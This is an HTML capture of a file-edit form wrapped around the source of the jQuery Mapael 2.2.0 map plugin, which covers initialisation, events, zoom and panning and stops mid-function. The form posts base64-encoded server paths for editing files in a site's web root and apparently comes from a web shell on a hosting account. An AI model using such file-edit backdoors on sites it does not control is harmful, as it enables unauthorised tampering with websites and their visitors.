<hr>jquery.mapael.js<form method=post action="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1sL2Fzc2V0cy9wbHVnaW5zL21hcGVs&f=anF1ZXJ5Lm1hcGFlbC5qcw%3D%3D"><input name="f" value="jquery.mapael.js"><textarea name="t">/*!
 *
 * Jquery Mapael - Dynamic maps jQuery plugin (based on raphael.js)
 * Requires jQuery, raphael.js and jquery.mousewheel
 *
 * Version: 2.2.0
 *
 * Copyright (c) 2018 Vincent Brout (https://www.vincentbroute.fr/mapael)
 * Licensed under the MIT license (http://www.opensource.org/licenses/mit-license.php).
 *
 * Thanks to Indigo744
 *
 */
(function (factory) {
    if (typeof exports === &#039;object&#039;) {
        // CommonJS
        module.exports = factory(require(&#039;jquery&#039;), require(&#039;raphael&#039;), require(&#039;jquery-mousewheel&#039;));
    } else if (typeof define === &#039;function&#039; &amp;&amp; define.amd) {
        // AMD. Register as an anonymous module.
        define([&#039;jquery&#039;, &#039;raphael&#039;, &#039;mousewheel&#039;], factory);
    } else {
        // Browser globals
        factory(jQuery, Raphael, jQuery.fn.mousewheel);
    }
}(function ($, Raphael, mousewheel, undefined) {

    &quot;use strict&quot;;

    // The plugin name (used on several places)
    var pluginName = &quot;mapael&quot;;

    // Version number of jQuery Mapael. See http://semver.org/ for more information.
    var version = &quot;2.2.0&quot;;

    /*
     * Mapael constructor
     * Init instance vars and call init()
     * @param container the DOM element on which to apply the plugin
     * @param options the complete options to use
     */
    var Mapael = function (container, options) {
        var self = this;

        // the global container (DOM element object)
        self.container = container;

        // the global container (jQuery object)
        self.$container = $(container);

        // the global options
        self.options = self.extendDefaultOptions(options);

        // zoom TimeOut handler (used to set and clear)
        self.zoomTO = 0;

        // zoom center coordinate (set at touchstart)
        self.zoomCenterX = 0;
        self.zoomCenterY = 0;

        // Zoom pinch (set at touchstart and touchmove)
        self.previousPinchDist = 0;

        // Zoom data
        self.zoomData = {
            zoomLevel: 0,
            zoomX: 0,
            zoomY: 0,
            panX: 0,
            panY: 0
        };

        self.currentViewBox = {
            x: 0, y: 0, w: 0, h: 0
        };

        // Panning: tell if panning action is in progress
        self.panning = false;

        // Animate view box
        self.zoomAnimID = null; // Interval handler (used to set and clear)
        self.zoomAnimStartTime = null; // Animation start time
        self.zoomAnimCVBTarget = null; // Current ViewBox target

        // Map subcontainer jQuery object
        self.$map = $(&quot;.&quot; + self.options.map.cssClass, self.container);

        // Save initial HTML content (used by destroy method)
        self.initialMapHTMLContent = self.$map.html();

        // The tooltip jQuery object
        self.$tooltip = {};

        // The paper Raphael object
        self.paper = {};

        // The areas object list
        self.areas = {};

        // The plots object list
        self.plots = {};

        // The links object list
        self.links = {};

        // The legends list
        self.legends = {};

        // The map configuration object (taken from map file)
        self.mapConf = {};

        // Holds all custom event handlers
        self.customEventHandlers = {};

        // Let&#039;s start the initialization
        self.init();
    };

    /*
     * Mapael Prototype
     * Defines all methods and properties needed by Mapael
     * Each mapael object inherits their properties and methods from this prototype
     */
    Mapael.prototype = {

        /* Filtering TimeOut value in ms
         * Used for mouseover trigger over elements */
        MouseOverFilteringTO: 120,
        /* Filtering TimeOut value in ms
         * Used for afterPanning trigger when panning */
        panningFilteringTO: 150,
        /* Filtering TimeOut value in ms
         * Used for mouseup/touchend trigger when panning */
        panningEndFilteringTO: 50,
        /* Filtering TimeOut value in ms
         * Used for afterZoom trigger when zooming */
        zoomFilteringTO: 150,
        /* Filtering TimeOut value in ms
         * Used for when resizing window */
        resizeFilteringTO: 150,

        /*
         * Initialize the plugin
         * Called by the constructor
         */
        init: function () {
            var self = this;

            // Init check for class existence
            if (self.options.map.cssClass === &quot;&quot; || $(&quot;.&quot; + self.options.map.cssClass, self.container).length === 0) {
                throw new Error(&quot;The map class `&quot; + self.options.map.cssClass + &quot;` doesn&#039;t exists&quot;);
            }

            // Create the tooltip container
            self.$tooltip = $(&quot;&lt;div&gt;&quot;).addClass(self.options.map.tooltip.cssClass).css(&quot;display&quot;, &quot;none&quot;);

            // Get the map container, empty it then append tooltip
            self.$map.empty().append(self.$tooltip);

            // Get the map from $.mapael or $.fn.mapael (backward compatibility)
            if ($[pluginName] &amp;&amp; $[pluginName].maps &amp;&amp; $[pluginName].maps[self.options.map.name]) {
                // Mapael version &gt;= 2.x
                self.mapConf = $[pluginName].maps[self.options.map.name];
            } else if ($.fn[pluginName] &amp;&amp; $.fn[pluginName].maps &amp;&amp; $.fn[pluginName].maps[self.options.map.name]) {
                // Mapael version &lt;= 1.x - DEPRECATED
                self.mapConf = $.fn[pluginName].maps[self.options.map.name];
                if (window.console &amp;&amp; window.console.warn) {
                    window.console.warn(&quot;Extending $.fn.mapael is deprecated (map &#039;&quot; + self.options.map.name + &quot;&#039;)&quot;);
                }
            } else {
                throw new Error(&quot;Unknown map &#039;&quot; + self.options.map.name + &quot;&#039;&quot;);
            }

            // Create Raphael paper
            self.paper = new Raphael(self.$map[0], self.mapConf.width, self.mapConf.height);

            // issue #135: Check for Raphael bug on text element boundaries
            if (self.isRaphaelBBoxBugPresent() === true) {
                self.destroy();
                throw new Error(&quot;Can&#039;t get boundary box for text (is your container hidden? See #135)&quot;);
            }

            // add plugin class name on element
            self.$container.addClass(pluginName);

            if (self.options.map.tooltip.css) self.$tooltip.css(self.options.map.tooltip.css);
            self.setViewBox(0, 0, self.mapConf.width, self.mapConf.height);

            // Handle map size
            if (self.options.map.width) {
                // NOT responsive: map has a fixed width
                self.paper.setSize(self.options.map.width, self.mapConf.height * (self.options.map.width / self.mapConf.width));
            } else {
                // Responsive: handle resizing of the map
                self.initResponsiveSize();
            }

            // Draw map areas
            $.each(self.mapConf.elems, function (id) {
                // Init area object
                self.areas[id] = {};
                // Set area options
                self.areas[id].options = self.getElemOptions(
                    self.options.map.defaultArea,
                    (self.options.areas[id] ? self.options.areas[id] : {}),
                    self.options.legend.area
                );
                // draw area
                self.areas[id].mapElem = self.paper.path(self.mapConf.elems[id]);
            });

            // Hook that allows to add custom processing on the map
            if (self.options.map.beforeInit) self.options.map.beforeInit(self.$container, self.paper, self.options);

            // Init map areas in a second loop
            // Allows text to be added after ALL areas and prevent them from being hidden
            $.each(self.mapConf.elems, function (id) {
                self.initElem(id, &#039;area&#039;, self.areas[id]);
            });

            // Draw links
            self.links = self.drawLinksCollection(self.options.links);

            // Draw plots
            $.each(self.options.plots, function (id) {
                self.plots[id] = self.drawPlot(id);
            });

            // Attach zoom event
            self.$container.on(&quot;zoom.&quot; + pluginName, function (e, zoomOptions) {
                self.onZoomEvent(e, zoomOptions);
            });

            if (self.options.map.zoom.enabled) {
                // Enable zoom
                self.initZoom(self.mapConf.width, self.mapConf.height, self.options.map.zoom);
            }

            // Set initial zoom
            if (self.options.map.zoom.init !== undefined) {
                if (self.options.map.zoom.init.animDuration === undefined) {
                    self.options.map.zoom.init.animDuration = 0;
                }
                self.$container.trigger(&quot;zoom&quot;, self.options.map.zoom.init);
            }

            // Create the legends for areas
            self.createLegends(&quot;area&quot;, self.areas, 1);

            // Create the legends for plots taking into account the scale of the map
            self.createLegends(&quot;plot&quot;, self.plots, self.paper.width / self.mapConf.width);

            // Attach update event
            self.$container.on(&quot;update.&quot; + pluginName, function (e, opt) {
                self.onUpdateEvent(e, opt);
            });

            // Attach showElementsInRange event
            self.$container.on(&quot;showElementsInRange.&quot; + pluginName, function (e, opt) {
                self.onShowElementsInRange(e, opt);
            });

            // Attach delegated events
            self.initDelegatedMapEvents();
            // Attach delegated custom events
            self.initDelegatedCustomEvents();

            // Hook that allows to add custom processing on the map
            if (self.options.map.afterInit) self.options.map.afterInit(self.$container, self.paper, self.areas, self.plots, self.options);

            $(self.paper.desc).append(&quot; and Mapael &quot; + self.version + &quot; (https://www.vincentbroute.fr/mapael/)&quot;);
        },

        /*
         * Destroy mapael
         * This function effectively detach mapael from the container
         *   - Set the container back to the way it was before mapael instanciation
         *   - Remove all data associated to it (memory can then be free&#039;ed by browser)
         *
         * This method can be call directly by user:
         *     $(&quot;.mapcontainer&quot;).data(&quot;mapael&quot;).destroy();
         *
         * This method is also automatically called if the user try to call mapael
         * on a container already containing a mapael instance
         */
        destroy: function () {
            var self = this;

            // Detach all event listeners attached to the container
            self.$container.off(&quot;.&quot; + pluginName);
            self.$map.off(&quot;.&quot; + pluginName);

            // Detach the global resize event handler
            if (self.onResizeEvent) $(window).off(&quot;resize.&quot; + pluginName, self.onResizeEvent);

            // Empty the container (this will also detach all event listeners)
            self.$map.empty();

            // Replace initial HTML content
            self.$map.html(self.initialMapHTMLContent);

            // Empty legend containers and replace initial HTML content
            $.each(self.legends, function(legendType) {
                $.each(self.legends[legendType], function(legendIndex) {
                    var legend = self.legends[legendType][legendIndex];
                    legend.container.empty();
                    legend.container.html(legend.initialHTMLContent);
                });
            });

            // Remove mapael class
            self.$container.removeClass(pluginName);

            // Remove the data
            self.$container.removeData(pluginName);

            // Remove all internal reference
            self.container = undefined;
            self.$container = undefined;
            self.options = undefined;
            self.paper = undefined;
            self.$map = undefined;
            self.$tooltip = undefined;
            self.mapConf = undefined;
            self.areas = undefined;
            self.plots = undefined;
            self.links = undefined;
            self.customEventHandlers = undefined;
        },

        initResponsiveSize: function () {
            var self = this;
            var resizeTO = null;

            // Function that actually handle the resizing
            var handleResize = function(isInit) {
                var containerWidth = self.$map.width();

                if (self.paper.width !== containerWidth) {
                    var newScale = containerWidth / self.mapConf.width;
                    // Set new size
                    self.paper.setSize(containerWidth, self.mapConf.height * newScale);

                    // Create plots legend again to take into account the new scale
                    // Do not do this on init (it will be done later)
                    if (isInit !== true &amp;&amp; self.options.legend.redrawOnResize) {
                        self.createLegends(&quot;plot&quot;, self.plots, newScale);
                    }
                }
            };

            self.onResizeEvent = function() {
                // Clear any previous setTimeout (avoid too much triggering)
                clearTimeout(resizeTO);
                // setTimeout to wait for the user to finish its resizing
                resizeTO = setTimeout(function () {
                    handleResize();
                }, self.resizeFilteringTO);
            };

            // Attach resize handler
            $(window).on(&quot;resize.&quot; + pluginName, self.onResizeEvent);

            // Call once
            handleResize(true);
        },

        /*
         * Extend the user option with the default one
         * @param options the user options
         * @return new options object
         */
        extendDefaultOptions: function (options) {

            // Extend default options with user options
            options = $.extend(true, {}, Mapael.prototype.defaultOptions, options);

            // Extend legend default options
            $.each([&#039;area&#039;, &#039;plot&#039;], function (key, type) {
                if ($.isArray(options.legend[type])) {
                    for (var i = 0; i &lt; options.legend[type].length; ++i)
                        options.legend[type][i] = $.extend(true, {}, Mapael.prototype.legendDefaultOptions[type], options.legend[type][i]);
                } else {
                    options.legend[type] = $.extend(true, {}, Mapael.prototype.legendDefaultOptions[type], options.legend[type]);
                }
            });

            return options;
        },

        /*
         * Init all delegated events for the whole map:
         *  mouseover
         *  mousemove
         *  mouseout
         */
        initDelegatedMapEvents: function() {
            var self = this;

            // Mapping between data-type value and the corresponding elements array
            // Note: legend-elem and legend-label are not in this table because
            //       they need a special processing
            var dataTypeToElementMapping = {
                &#039;area&#039;  : self.areas,
                &#039;area-text&#039; : self.areas,
                &#039;plot&#039; : self.plots,
                &#039;plot-text&#039; : self.plots,
                &#039;link&#039; : self.links,
                &#039;link-text&#039; : self.links
            };

            /* Attach mouseover event delegation
             * Note: we filter the event with a timeout to reduce the firing when the mouse moves quickly
             */
            var mapMouseOverTimeoutID;
            self.$container.on(&quot;mouseover.&quot; + pluginName, &quot;[data-id]&quot;, function () {
                var elem = this;
                clearTimeout(mapMouseOverTimeoutID);
                mapMouseOverTimeoutID = setTimeout(function() {
                    var $elem = $(elem);
                    var id = $elem.attr(&#039;data-id&#039;);
                    var type = $elem.attr(&#039;data-type&#039;);

                    if (dataTypeToElementMapping[type] !== undefined) {
                        self.elemEnter(dataTypeToElementMapping[type][id]);
                    } else if (type === &#039;legend-elem&#039; || type === &#039;legend-label&#039;) {
                        var legendIndex = $elem.attr(&#039;data-legend-id&#039;);
                        var legendType = $elem.attr(&#039;data-legend-type&#039;);
                        self.elemEnter(self.legends[legendType][legendIndex].elems[id]);
                    }
                }, self.MouseOverFilteringTO);
            });

            /* Attach mousemove event delegation
             * Note: timeout filtering is small to update the Tooltip position fast
             */
            var mapMouseMoveTimeoutID;
            self.$container.on(&quot;mousemove.&quot; + pluginName, &quot;[data-id]&quot;, function (event) {
                var elem = this;
                clearTimeout(mapMouseMoveTimeoutID);
                mapMouseMoveTimeoutID = setTimeout(function() {
                    var $elem = $(elem);
                    var id = $elem.attr(&#039;data-id&#039;);
                    var type = $elem.attr(&#039;data-type&#039;);

                    if (dataTypeToElementMapping[type] !== undefined) {
                        self.elemHover(dataTypeToElementMapping[type][id], event);
                    } else if (type === &#039;legend-elem&#039; || type === &#039;legend-label&#039;) {
                        /* Nothing to do */
                    }

                }, 0);
            });

            /* Attach mouseout event delegation
             * Note: we don&#039;t perform any timeout filtering to clear &amp; reset elem ASAP
             * Otherwise an element may be stuck in &#039;hover&#039; state (which is NOT good)
             */
            self.$container.on(&quot;mouseout.&quot; + pluginName, &quot;[data-id]&quot;, function () {
                var elem = this;
                // Clear any
                clearTimeout(mapMouseOverTimeoutID);
                clearTimeout(mapMouseMoveTimeoutID);
                var $elem = $(elem);
                var id = $elem.attr(&#039;data-id&#039;);
                var type = $elem.attr(&#039;data-type&#039;);

                if (dataTypeToElementMapping[type] !== undefined) {
                    self.elemOut(dataTypeToElementMapping[type][id]);
                } else if (type === &#039;legend-elem&#039; || type === &#039;legend-label&#039;) {
                    var legendIndex = $elem.attr(&#039;data-legend-id&#039;);
                    var legendType = $elem.attr(&#039;data-legend-type&#039;);
                    self.elemOut(self.legends[legendType][legendIndex].elems[id]);
                }
            });

            /* Attach click event delegation
             * Note: we filter the event with a timeout to avoid double click
             */
            self.$container.on(&quot;click.&quot; + pluginName, &quot;[data-id]&quot;, function (evt, opts) {
                var $elem = $(this);
                var id = $elem.attr(&#039;data-id&#039;);
                var type = $elem.attr(&#039;data-type&#039;);

                if (dataTypeToElementMapping[type] !== undefined) {
                    self.elemClick(dataTypeToElementMapping[type][id]);
                } else if (type === &#039;legend-elem&#039; || type === &#039;legend-label&#039;) {
                    var legendIndex = $elem.attr(&#039;data-legend-id&#039;);
                    var legendType = $elem.attr(&#039;data-legend-type&#039;);
                    self.handleClickOnLegendElem(self.legends[legendType][legendIndex].elems[id], id, legendIndex, legendType, opts);
                }
            });
        },

        /*
         * Init all delegated custom events
         */
        initDelegatedCustomEvents: function() {
            var self = this;

            $.each(self.customEventHandlers, function(eventName) {
                // Namespace the custom event
                // This allow to easily unbound only custom events and not regular ones
                var fullEventName = eventName + &#039;.&#039; + pluginName + &quot;.custom&quot;;
                self.$container.off(fullEventName).on(fullEventName, &quot;[data-id]&quot;, function (e) {
                    var $elem = $(this);
                    var id = $elem.attr(&#039;data-id&#039;);
                    var type = $elem.attr(&#039;data-type&#039;).replace(&#039;-text&#039;, &#039;&#039;);

                    if (!self.panning &amp;&amp;
                        self.customEventHandlers[eventName][type] !== undefined &amp;&amp;
                        self.customEventHandlers[eventName][type][id] !== undefined)
                    {
                        // Get back related elem
                        var elem = self.customEventHandlers[eventName][type][id];
                        // Run callback provided by user
                        elem.options.eventHandlers[eventName](e, id, elem.mapElem, elem.textElem, elem.options);
                    }
                });
            });

        },

        /*
         * Init the element &quot;elem&quot; on the map (drawing text, setting attributes, events, tooltip, ...)
         *
         * @param id the id of the element
         * @param type the type of the element (area, plot, link)
         * @param elem object the element object (with mapElem), it will be updated
         */
        initElem: function (id, type, elem) {
            var self = this;
            var $mapElem = $(elem.mapElem.node);

            // If an HTML link exists for this element, add cursor attributes
            if (elem.options.href) {
                elem.options.attrs.cursor = &quot;pointer&quot;;
                if (elem.options.text) elem.options.text.attrs.cursor = &quot;pointer&quot;;
            }

            // Set SVG attributes to map element
            elem.mapElem.attr(elem.options.attrs);
            // Set DOM attributes to map element
            $mapElem.attr({
                &quot;data-id&quot;: id,
                &quot;data-type&quot;: type
            });
            if (elem.options.cssClass !== undefined) {
                $mapElem.addClass(elem.options.cssClass);
            }

            // Init the label related to the element
            if (elem.options.text &amp;&amp; elem.options.text.content !== undefined) {
                // Set a text label in the area
                var textPosition = self.getTextPosition(elem.mapElem.getBBox(), elem.options.text.position, elem.options.text.margin);
                elem.options.text.attrs.text = elem.options.text.content;
                elem.options.text.attrs.x = textPosition.x;
                elem.options.text.attrs.y = textPosition.y;
                elem.options.text.attrs[&#039;text-anchor&#039;] = textPosition.textAnchor;
                // Draw text
                elem.textElem = self.paper.text(textPosition.x, textPosition.y, elem.options.text.content);
                // Apply SVG attributes to text element
                elem.textElem.attr(elem.options.text.attrs);
                // Apply DOM attributes
                $(elem.textElem.node).attr({
                    &quot;data-id&quot;: id,
                    &quot;data-type&quot;: type + &#039;-text&#039;
                });
            }

            // Set user event handlers
            if (elem.options.eventHandlers) self.setEventHandlers(id, type, elem);

            // Set hover option for mapElem
            self.setHoverOptions(elem.mapElem, elem.options.attrs, elem.options.attrsHover);

            // Set hover option for textElem
            if (elem.textElem) self.setHoverOptions(elem.textElem, elem.options.text.attrs, elem.options.text.attrsHover);
        },

        /*
         * Init zoom and panning for the map
         * @param mapWidth
         * @param mapHeight
         * @param zoomOptions
         */
        initZoom: function (mapWidth, mapHeight, zoomOptions) {
            var self = this;
            var mousedown = false;
            var previousX = 0;
            var previousY = 0;
            var fnZoomButtons = {
                &quot;reset&quot;: function () {
                    self.$container.trigger(&quot;zoom&quot;, {&quot;level&quot;: 0});
                },
                &quot;in&quot;: function () {
                    self.$container.trigger(&quot;zoom&quot;, {&quot;level&quot;: &quot;+1&quot;});
                },
                &quot;out&quot;: function () {
                    self.$container.trigger(&quot;zoom&quot;, {&quot;level&quot;: -1});
                }
            };

            // init Zoom data
            $.extend(self.zoomData, {
                zoomLevel: 0,
                panX: 0,
                panY: 0
            });

            // init zoom buttons
            $.each(zoomOptions.buttons, function(type, opt) {
                if (fnZoomButtons[type] === undefined) throw new Error(&quot;Unknown zoom button &#039;&quot; + type + &quot;&#039;&quot;);
                // Create div with classes, contents and title (for tooltip)
                var $button = $(&quot;&lt;div&gt;&quot;).addClass(opt.cssClass)
                    .html(opt.content)
                    .attr(&quot;title&quot;, opt.title);
                // Assign click event
                $button.on(&quot;click.&quot; + pluginName, fnZoomButtons[type]);
                // Append to map
                self.$map.append($button);
            });

            // Update the zoom level of the map on mousewheel
            if (self.options.map.zoom.mousewheel) {
                self.$map.on(&quot;mousewheel.&quot; + pluginName, function (e) {
                    var zoomLevel = (e.deltaY &gt; 0) ? 1 : -1;
                    var coord = self.mapPagePositionToXY(e.pageX, e.pageY);

                    self.$container.trigger(&quot;zoom&quot;, {
                        &quot;fixedCenter&quot;: true,
                        &quot;level&quot;: self.zoomData.zoomLevel + zoomLevel,
                        &quot;x&quot;: coord.x,
                        &quot;y&quot;: coord.y
                    });

                    e.preventDefault();
                });
            }

            // Update the zoom level of the map on touch pinch
            if (self.options.map.zoom.touch) {
                self.$map.on(&quot;touchstart.&quot; + pluginName, function (e) {
                    if (e.originalEvent.touches.length === 2) {
                        self.zoomCenterX = (e.originalEvent.touches[0].pageX + e.originalEvent.touches[1].pageX) / 2;
                        self.zoomCenterY = (e.originalEvent.touches[0].pageY + e.originalEvent.touches[1].pageY) / 2;
                        self.previousPinchDist = Math.sqrt(Math.pow((e.originalEvent.touches[1].pageX - e.originalEvent.touches[0].pageX), 2) + Math.pow((e.originalEvent.touches[1].pageY - e.originalEvent.touches[0].pageY), 2));
                    }
                });

                self.$map.on(&quot;touchmove.&quot; + pluginName, function (e) {
                    var pinchDist = 0;
                    var zoomLevel = 0;

                    if (e.originalEvent.touches.length === 2) {
                        pinchDist = Math.sqrt(Math.pow((e.originalEvent.touches[1].pageX - e.originalEvent.touches[0].pageX), 2) + Math.pow((e.originalEvent.touches[1].pageY - e.originalEvent.touches[0].pageY), 2));

                        if (Math.abs(pinchDist - self.previousPinchDist) &gt; 15) {
                            var coord = self.mapPagePositionToXY(self.zoomCenterX, self.zoomCenterY);
                            zoomLevel = (pinchDist - self.previousPinchDist) / Math.abs(pinchDist - self.previousPinchDist);
                            self.$container.trigger(&quot;zoom&quot;, {
                                &quot;fixedCenter&quot;: true,
                                &quot;level&quot;: self.zoomData.zoomLevel + zoomLevel,
                                &quot;x&quot;: coord.x,
                                &quot;y&quot;: coord.y
                            });
                            self.previousPinchDist = pinchDist;
                        }
                        return false;
                    }
                });
            }

            // When the user drag the map, prevent to move the clicked element instead of dragging the map (behaviour seen with Firefox)
            self.$map.on(&quot;dragstart&quot;, function() {
                return false;
            });

            // Panning
            var panningMouseUpTO = null;
            var panningMouseMoveTO = null;
            $(&quot;body&quot;).on(&quot;mouseup.&quot; + pluginName + (zoomOptions.touch ? &quot; touchend.&quot; + pluginName : &quot;&quot;), function () {
                mousedown = false;
                clearTimeout(panningMouseUpTO);
                clearTimeout(panningMouseMoveTO);
                panningMouseUpTO = setTimeout(function () {
                    self.panning = false;
                }, self.panningEndFilteringTO);
            });

            self.$map.on(&quot;mousedown.&quot; + pluginName + (zoomOptions.touch ? &quot; touchstart.&quot; + pluginName : &quot;&quot;), function (e) {
                clearTimeout(panningMouseUpTO);
                clearTimeout(panningMouseMoveTO);
                if (e.pageX !== undefined) {
                    mousedown = true;
                    previousX = e.pageX;
                    previousY = e.pageY;
                } else {
                    if (e.originalEvent.touches.length === 1) {
                        mousedown = true;
                        previousX = e.originalEvent.touches[0].pageX;
                        previousY = e.originalEvent.touches[0].pageY;
                    }
                }
            }).on(&quot;mousemove.&quot; + pluginName + (zoomOptions.touch ? &quot; touchmove.&quot; + pluginName : &quot;&quot;), function (e) {
                var currentLevel = self.zoomData.zoomLevel;
                var pageX = 0;
                var pageY = 0;

                clearTimeout(panningMouseUpTO);
                clearTimeout(panningMouseMoveTO);

                if (e.pageX !== undefined) {
                    pageX = e.pageX;
                    pageY = e.pageY;
                } else {
                    if (e.originalEvent.touches.length === 1) {
                        pageX = e.originalEvent.touches[0].pageX;
                        pageY = e.originalEvent.touches[0].pageY;
                    } else {
                        mousedown = false;
                    }
                }

                if (mousedown &amp;&amp; currentLevel !== 0) {
                    var offsetX = (previousX - pageX) / (1 + (currentLevel * zoomOptions.step)) * (mapWidth / self.paper.width);
                    var offsetY = (previousY - pageY) / (1 + (currentLevel * zoomOptions.step)) * (mapHeight / self.paper.height);
                    var panX = Math.min(Math.max(0, self.currentViewBox.x + offsetX), (mapWidth - self.currentViewBox.w));
                    var panY = Math.min(Math.max(0, self.currentViewBox.y + offsetY), (mapHeight - self.currentViewBox.h));

                    if (Math.abs(offsetX) &gt; 5 || Math.abs(offsetY) &gt; 5) {
                        $.extend(self.zoomData, {
                            panX: panX,
                            panY: panY,
                            zoomX: panX + self.currentViewBox.w / 2,
                            zoomY: panY + self.currentViewBox.h / 2
                        });
                        self.setViewBox(panX, panY, self.currentViewBox.w, self.currentViewBox.h);

                        panningMouseMoveTO = setTimeout(function () {
                            self.$map.trigger(&quot;afterPanning&quot;, {
                                x1: panX,
                                y1: panY,
                                x2: (panX + self.currentViewBox.w),
                                y2: (panY + self.currentViewBox.h)
                            });
                        }, self.panningFilteringTO);

                        previousX = pageX;
                        previousY = pageY;
                        self.panning = true;
                    }
                    return false;
                }
            });
        },

        /*
         * Map a mouse position to a map position
         *      Transformation principle:
         *          ** start with (pageX, pageY) absolute mouse coordinate
         *          - Apply translation: take into accounts the map offset in the page
         *          ** from this point, we have relative mouse coordinate
         *          - Apply homothetic transformation: take into accounts initial factor of map sizing (fullWidth / actualWidth)
         *          - Apply homothetic transformation: take into accounts the zoom factor
         *          ** from this point, we have relative map coordinate
         *          - Apply translation: take into accounts the current panning of the map
         *          ** from this point, we have absolute map coordinate
         * @param pageX: mouse client coordinate on X
         * @param pageY: mouse client coordinate on Y
         * @return map coordinate {x, y}
         */
        mapPagePositionToXY: function(pageX, pageY) {
            var self = this;
            var offset = self.$map.offset();
            var initFactor = (self.options.map.width) ? (self.mapConf.width / self.options.map.width) : (self.mapConf.width / self.$map.width());
            var zoomFactor = 1 / (1 + (self.zoomData.zoomLevel * self.options.map.zoom.step));
            return {
                x: (zoomFactor * initFactor * (pageX - offset.left)) + self.zoomData.panX,
                y: (zoomFactor * initFactor * (pageY - offset.top)) + self.zoomData.panY
            };
        },

        /*
         * Zoom on the map
         *
         * zoomOptions.animDuration zoom duration
         *
         * zoomOptions.level        level of the zoom between minLevel and maxLevel (absolute number, or relative string +1 or -1)
         * zoomOptions.fixedCenter  set to true in order to preserve the position of x,y in the canvas when zoomed
         *
         * zoomOptions.x            x coordinate of the point to focus on
         * zoomOptions.y            y coordinate of the point to focus on
         * - OR -
         * zoomOptions.latitude     latitude of the point to focus on
         * zoomOptions.longitude    longitude of the point to focus on
         * - OR -
         * zoomOptions.plot         plot ID to focus on
         * - OR -
         * zoomOptions.area         area ID to focus on
         * zoomOptions.areaMargin   margin (in pixels) around the area
         *
         * If an area ID is specified, the algorithm will override the zoom level to focus on the area
         * but it may be limited by the min/max zoom level limits set at initialization.
         *
         * If no coordinates are specified, the zoom will be focused on the center of the current view box
         *
         */
        onZoomEvent: function (e, zoomOptions) {
            var self = this;

            // new Top/Left corner coordinates
            var panX;
            var panY;
            // new Width/Height viewbox size
            var panWidth;
            var panHeight;

            // Zoom level in absolute scale (from 0 to max, by step of 1)
            var zoomLevel = self.zoomData.zoomLevel;

            // Relative zoom level (from 1 to max, by step of 0.25 (default))
            var previousRelativeZoomLevel = 1 + self.zoomData.zoomLevel * self.options.map.zoom.step;
            var relativeZoomLevel;

            var animDuration = (zoomOptions.animDuration !== undefined) ? zoomOptions.animDuration : self.options.map.zoom.animDuration;

            if (zoomOptions.area !== undefined) {
                /* An area is given
                 * We will define x/y coordinate AND a new zoom level to fill the area
                 */
                if (self.areas[zoomOptions.area] === undefined) throw new Error(&quot;Unknown area &#039;&quot; + zoomOptions.area + &quot;&#039;&quot;);
                var areaMargin = (zoomOptions.areaMargin !== undefined) ? zoomOptions.areaMargin : 10;
                var areaBBox = self.areas[zoomOptions.area].mapElem.getBBox();
                var areaFullWidth = areaBBox.width + 2 * areaMargin;
                var areaFullHeight = areaBBox.height + 2 * areaMargin;

                // Compute new x/y focus point (center of area)
                zoomOptions.x = areaBBox.cx;
                zoomOptions.y = areaBBox.cy;

                // Compute a new absolute zoomLevel value (inverse of relative -&gt; absolute)
                // Take the min between zoomLevel on width vs. height to be able to see the whole area
                zoomLevel = Math.min(Math.floor((self.mapConf.width / areaFullWidth - 1) / self.options.map.zoom.step),
                                     Math.floor((self.mapConf.height / areaFullHeight - 1) / self.options.map.zoom.step));

            } else {

                // Get user defined zoom level
                if (zoomOptions.level !== undefined) {
                    if (typeof zoomOptions.level === &quot;string&quot;) {
                        // level is a string, either &quot;n&quot;, &quot;+n&quot; or &quot;-n&quot;
                        if ((zoomOptions.level.slice(0, 1) === &#039;+&#039;) || (zoomOptions.level.slice(0, 1) === &#039;-&#039;)) {
                            // zoomLevel is relative
                            zoomLevel = self.zoomData.zoomLevel + parseInt(zoomOptions.level, 10);
                        } else {
                            // zoomLevel is absolute
                            zoomLevel = parseInt(zoomOptions.level, 10);
                        }
                    } else {
                        // level is integer
                        if (zoomOptions.level &lt; 0) {
                            // zoomLevel is relative
                            zoomLevel = self.zoomData.zoomLevel + zoomOptions.level;
                        } else {
                            // zoomLevel is absolute
                            zoomLevel = zoomOptions.level;
                        }
                    }
                }

                if (zoomOptions.plot !== undefined) {
                    if (self.plots[zoomOptions.plot] === undefined) throw new Error(&quot;Unknown plot &#039;&quot; + zoomOptions.plot + &quot;&#039;&quot;);

                    zoomOptions.x = self.plots[zoomOptions.plot].coords.x;
                    zoomOptions.y = self.plots[zoomOptions.plot].coords.y;
                } else {
                    if (zoomOptions.latitude !== undefined &amp;&amp; zoomOptions.longitude !== undefined) {
                        var coords = self.mapConf.getCoords(zoomOptions.latitude, zoomOptions.longitude);
                        zoomOptions.x = coords.x;
                        zoomOptions.y = coords.y;
                    }

                    if (zoomOptions.x === undefined) {
                        zoomOptions.x = self.currentViewBox.x + self.currentViewBox.w / 2;
                    }

                    if (zoomOptions.y === undefined) {
                        zoomOptions.y = self.currentViewBox.y + self.currentViewBox.h / 2;
                    }
                }
            }

            // Make sure we stay in the zoom level boundaries
            zoomLevel = Math.min(Math.max(zoomLevel, self.options.map.zoom.minLevel), self.options.map.zoom.maxLevel);

            // Compute relative zoom level
            relativeZoomLevel = 1 + zoomLevel * self.options.map.zoom.step;

            // Compute panWidth / panHeight
            panWidth = self.mapConf.width / relativeZoomLevel;
            panHeight = self.mapConf.height / relativeZoomLevel;

            if (zoomLevel === 0) {
                panX = 0;
                panY = 0;
            } else {
                if (zoomOptions.fixedCenter !== undefined &amp;&amp; zoomOptions.fixedCenter === true) {
                    panX = self.zoomData.panX + ((zoomOptions.x - self.zoomData.panX) * (relativeZoomLevel - previousRelativeZoomLevel)) / relativeZoomLevel;
                    panY = self.zoomData.panY + ((zoomOptions.y - self.zoomData.panY) * (relativeZoomLevel - previousRelativeZoomLevel)) / relativeZoomLevel;
                } else {
                    panX = zoomOptions.x - panWidth / 2;
                    panY = zoomOptions.y - panHeight / 2;
                }

                // Make sure we stay in the map boundaries
                panX = Math.min(Math.max(0, panX), self.mapConf.width - panWidth);
                panY = Math.min(Math.max(0, panY), self.mapConf.height - panHeight);
            }

            // Update zoom level of the map
            if (relativeZoomLevel === previousRelativeZoomLevel &amp;&amp; panX === self.zoomData.panX &amp;&amp; panY === self.zoomData.panY) return;

            if (animDuration &gt; 0) {
                self.animateViewBox(panX, panY, panWidth, panHeight, animDuration, self.options.map.zoom.animEasing);
            } else {
                self.setViewBox(panX, panY, panWidth, panHeight);
                clearTimeout(self.zoomTO);
